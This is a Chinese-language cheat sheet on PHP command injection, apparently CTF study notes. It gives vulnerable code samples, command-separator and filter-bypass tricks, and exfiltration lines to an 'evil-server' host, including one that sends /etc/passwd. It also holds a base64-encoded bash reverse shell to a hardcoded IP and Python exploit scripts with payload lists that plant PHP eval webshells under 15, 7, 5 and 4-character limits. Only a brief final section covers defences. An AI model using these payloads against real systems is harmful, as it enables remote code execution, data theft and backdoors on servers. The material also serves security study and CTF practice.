命令执行 例子
1 2 3 4 5 <?php $target=$_REQUEST['ip' ]; $cmd = shell_exec('ping ' .$target); echo "<pre>{$cmd} </pre>" ;?>
传入?ip=|whoami
就可以执行命令
PHP危险函数
phpinfo() 功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。 危险等级:中
passthru() 功能描述:允许执行一个外部程序并回显输出,类似于 exec()。 危险等级:高
exec() 功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。 危险等级:高
system() 功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。 危险等级:高
chroot() 功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式 PHP 时才能工作,且该函数不适用于 Windows 系统。 危险等级:高
scandir() 功能描述:列出指定路径中的文件和目录。 危险等级:中
chgrp() 功能描述:改变文件或目录所属的用户组。 危险等级:高
chown() 功能描述:改变文件或目录的所有者。 危险等级:高
shell_exec() 功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。 危险等级:高
proc_open() 功能描述:执行一个命令并打开文件指针用于读取以及写入。 危险等级:高
proc_get_status() 功能描述:获取使用 proc_open() 所打开进程的信息。 危险等级:高
error_log() 功能描述:将错误信息发送到指定位置(文件)。 安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode, 执行任意命令。 危险等级:低
ini_alter() 功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。 具体参见 ini_set()。 危险等级:高
ini_set() 功能描述:可用于修改、设置 PHP 环境配置参数。 危险等级:高
ini_restore() 功能描述:可用于恢复 PHP 环境配置参数到其初始值。 危险等级:高
dl() 功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。 危险等级:高
pfsockopen() 功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。 危险等级:高
syslog() 功能描述:可调用 UNIX 系统的系统层 syslog() 函数。 危险等级:中
readlink() 功能描述:返回符号连接指向的目标文件内容。 危险等级:中
symlink() 功能描述:在 UNIX 系统中建立一个符号链接。 危险等级:高
popen() 功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。 危险等级:高
stream_socket_server() 功能描述:建立一个 Internet 或 UNIX 服务器连接。 危险等级:中
putenv() 功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数 修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。 危险等级:高
命令执行常见执行方式
分号分割
||``&&``&
分割
|
管道符
\r\n``%d0%a0
换行
反引号解析
$()
替换
windows支持:
1 2 3 4 | 直接执行后面的语句 ping 127.0.0.1|whoami || 前面出错执行后面的 ,前面为假 ping 2 || whoami & 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami &&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
Linux支持:
1 2 3 4 5 ; 前面的执行完执行后面的 ping 127.0.0.1;whoami | 管道符,显示后面的执行结果 ping 127.0.0.1|whoami || 当前面的执行出错时执行后面的 ping 1||whoami & 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami &&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
无回显技巧
bash反弹shell
DNS带外数据
http带外1 2 3 curl http://evil-server/$(whoami) wget http://evil-server/$(whoami) wget -e http_proxy=http://ip:port/ --method=POST --body-file=/etc/passwd
无带外时利用sleep
或其他逻辑构造布尔条件
常见绕过方式 空格绕过
<
符号 cat<123
\t
/ %09
${IFS}
其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串1 2 3 4 cat</etc/passwd cat${IFS} /flag cat$IFS $1 $alag .php cat$IFS $9 $alag .php
黑名单绕过 单引号绕过
双引号绕过
用反斜杠和斜杠绕过
通配符绕过
十六进制绕过
cat echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
base64绕过 1 2 echo $IFS $1Y2F0IGZsYWcucGhw |base64$IFS $1 -d|sh其中Y2F0IGZsYWcucGhw是cat flag.php的base64-encode
反弹shell
1 2 3 4 {echo ,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzUuMTU2LjEyNi85OTk5IDA+JjE=}|{base64,-d}|{bash,-i} bash -c {echo ,'xxxxx' }|{base64,-d}|{bash,-i}
shell解析绕过 参考链接:https://www.cnblogs.com/xunbu7/p/6187017.html
1 2 $(())表示0 $((~$(())))表示-1
那么就可以通过累加达到-38取反得到37再累加-1得到36,最终读取到36.php的内容
如payload就可以累加到36.php
1 ?c=$(($((~$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$((~$(())))))
例题:ctfshow57
长度限制绕过 1 2 3 4 5 >wget\ >foo.\ >com ls -t>a sh a
上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行 直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令。
15个可控字符下的命令执行 思路:采用>
和>>
符号将一句话木马写入shell文件
1 2 3 4 5 6 7 8 <?php highlight_file(__FILE__ ); if (strlen($_GET[1 ])<15 ){ echo strlen($_GET[1 ]); echo shell_exec($_GET[1 ]); }else { exit ('too long' ); }
payload
1 2 3 4 5 6 7 8 9 10 11 12 echo \<?php>1 echo eval\(>>1 echo \$_GET>>1 echo \[1\]>>1 echo \)\;>>1 mv 1 1.php # 生成 <?php eval( $_GET [1] );
7个字符的命令执行 预备知识:
1 2 3 4 ls -t #将创建的文件按从晚到早的顺序排列 sh a #执行a中的命令 \ #拼接字符串 base64 #对字符串进行base64编码防止特殊字符扰乱
源码:
1 2 3 4 5 6 7 8 9 10 <?php highlight_file(__FILE__ ); if (strlen($_GET[1 ]<=7 )){ echo strlen($_GET[1 ]); echo '<hr/>' ; echo shell_exec($_GET[1 ]); }else { exit ('too long' ); } ?>
思路:
最终执行的命令“echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d>1.php”
,其中base64编码的字符串为<?php eval($_POST[1]);?>
payload.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 >hp >1.p\\ >d\>\\ >\ -\\ >e64\\ >bas\\ >\|\\ >==\\ >pOw\\ >MV0\\ >1Rb\\ >BPU\\ >kX1\\ >bCg\\ >XZh\\ >AgZ\\ >waH\\ >PD9\\ >o\ \\ >ech\\ ls -t>0 sh 0
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsurl="http://192.168.119.132:8080/7.php?1={0}" print("[+]start attack!!!" ) with open("payload.txt" ,"r" ) as f: for i in f: print("[+]" + url.format(i.strip())) requests.get(url.format(i.strip())) test = requests.get("http://192.168.119.132:8080/7.php" ) if test.status_code == requests.codes.ok: print("[*]Attack success!!!" )
运行命令生成1.php
5位字符的命令执行 1 2 3 4 5 6 7 8 9 10 11 <?php $sandbox = '/var/www/html/sandbox/' . md5('orange' .$_SERVER['REMOTE_ADDR' ]); @mkdir($sandbox); @chdir($sandbox); if (isset ($_GET['cmd' ]) && strlen($_GET['cmd' ])<=5 ) { @exec($_GET['cmd' ]); }else if (isset ($_GET['reset' ])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__ ); ?>
知识点:
1 2 3 4 5 6 7 8 9 1. 输入通配符 * ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数 2. 通过rev来倒置输出内容(rev命令将文件中的每行内容以字符为单位反序输出) 3. 用dir来代替ls不换行输出;rev将文件内容反向输出;在用ls时,写到a时每个文件名都是单独一行 >rev echo 1234 > v *v (等同于命令:rev v) 网上有两种解答的方式:一种是curl服务起上写好的文件,进行反弹Shell,而另一种就是写入一句话木马,网上文章详细的解释参看https://www.freesion.com/article/8743881775/,我来将可用性最高的一种方法记录下。 目的:echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php 那么我们只需要将上面的代码拆分倒序输入到主机即可。我们需要让sh先执行a文件(ls -th >f)就会得到f文件,最后再让sh去执行f文件即可得到1.php。最终payload如下
payload.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 >dir >f\> >ht- >sl *>v >rev *v>0 >hp >p\\ >1.\\ >\>\\ >-d\\ >\ \\ >64\\ >se\\ >ba\\ >\|\\ >7\\ >Sk\\ >X\\ >x\\ >Fs\\ >FV\\ >d\\ >X0\\ >k\\ >g\\ >bC\\ >h\\ >XZ\\ >gZ\\ >A\\ >aH\\ >w\\ >D9\\ >P\\ >S}\\ >IF\\ >{\\ >\$\\ >o\\ >ch\\ >e\\ sh 0 sh f
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsurl = "http://192.168.119.132:8080/5/5.php?cmd={0}" print("[+]start attack!!!" ) with open("payload.txt" ,"r" ) as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip())) test = requests.get("http://192.168.119.132:8080/5/42f05af66541e59c081c45d5ec9cbaa6/1.php" ) if test.status_code == requests.codes.ok: print("[*]Attack success!!!" )
4位可控字符的命令执行 1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting(E_ALL); $sandbox = '/var/www/html/sandbox/' .md5("orange" .$_SERVER['REMOTE_ADDR' ]); mkdir($sandbox); chdir($sandbox); if (isset ($_GET['cmd' ]) && strlen($_GET['cmd' ]) <= 4 ){ exec($_GET['cmd' ]); }else if (isset ($_GET['reset' ])) { exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__ ); ?>
将payload.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 >dir >f\> >ht- >sl *>v >rev *v>a >hp >p\ >1.\ >\>\ >-d\ >\ \ >64\ >se\ >ba\ >\|\ >7\ >Sk\ >X\ >x\ >Fs\ >FV\ >d\ >X0\ >k\ >g\ >bC\ >h\ >XZ\ >gZ\ >A\ >aH\ >w\ >D9\ >P\\ >S}\ >IF\ >{\ >\$\ >o\ >ch\ >e\ sh a sh f
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport threadinglock = threading.Lock() def exp (): lock.acquire(True ) url = "http://192.168.119.132:8080/4/4.php?cmd={0}" print("[+]start attack!!!" ) with open("payload.txt" ,"r" ) as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip())) test = requests.get("http://192.168.119.132:8080/4/2ad26c4b0f3cdead3c4c1955ad805b8d/1.php" ) if test.status_code == requests.code.ok: print("[*]Attack access!!!!" ) lock.release() if __name__ == '__main__' : t = threading.Thread(target=exp) t.start()
3位字符命令执行 来自ctfshow的nl题命令执行
1 2 3 4 5 6 7 8 9 <?php show_source(__FILE__ ); error_reporting(0 ); if (strlen($_GET[1 ])<4 ){ echo shell_exec($_GET[1 ]); }else { echo "hack!!!" ; } ?>
利用ls查看目录,然后生成文件od或者nl,传入*
即可查看flag
其他绕过
a=l;b=s;$a$b
未定义的初始化变量 cat$x /etc/passwd
反斜杠和斜杠绕过 1 cat ${HOME:0:1} etc${HOME:0:1} passwd
常用符号 命令分隔符
%0a
/ %0d
/ \n
/ \r
;
&
/ &&
通配符
*
0到无穷个任意字符
?
一个任意字符
[ ]
一个在括号内的字符,e.g. [abcd]
[ - ]
在编码顺序内的所有字符
[^ ]
一个不在括号内的字符
防止命令执行漏洞
使用escapeshellcmd或escapeshellarg
https://www.anquanke.com/post/id/107336#h3-7
escapeshellarg
1 2 3 1.确保用户只传递一个参数给命令 2.用户不能指定更多的参数一个 3.用户不能执行不同的命令
escapeshellcmd
1 2 3 1.确保用户只执行一个命令 2.用户可以指定不限数量的参数 3.用户不能执行不同的命令
修复方式一般有两种思维: 1、黑名单:过滤特殊字符或替换字符 2、白名单:只允许特殊输入的类型/长度 修复代码示例一:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $target=$_REQUEST['ip' ]; $octet = explode( "." , $target ); if ( ( is_numeric( $octet[0 ] ) ) && ( is_numeric( $octet[1 ] ) ) && ( is_numeric($octet[2 ] ) ) && ( is_numeric( $octet[3 ] ) ) && ( sizeof( $octet ) == 4 ) ) { $target = $octet[0 ] . '.' . $octet[1 ] . '.' . $octet[2 ] . '.' . $octet[3 ]; $cmd = shell_exec('ping ' .$target); echo "<pre>{$cmd} </pre>" ;} else {echo '<pre>ERROR: You have entered an invalid IP.</pre>' ;} ?>
示例二:
1 2 3 4 5 <?php $target=$_REQUEST['ip' ]; $cmd = shell_exec('ping ' . escapeshellcmd($target)); echo "<pre>{$cmd} </pre>" ;?>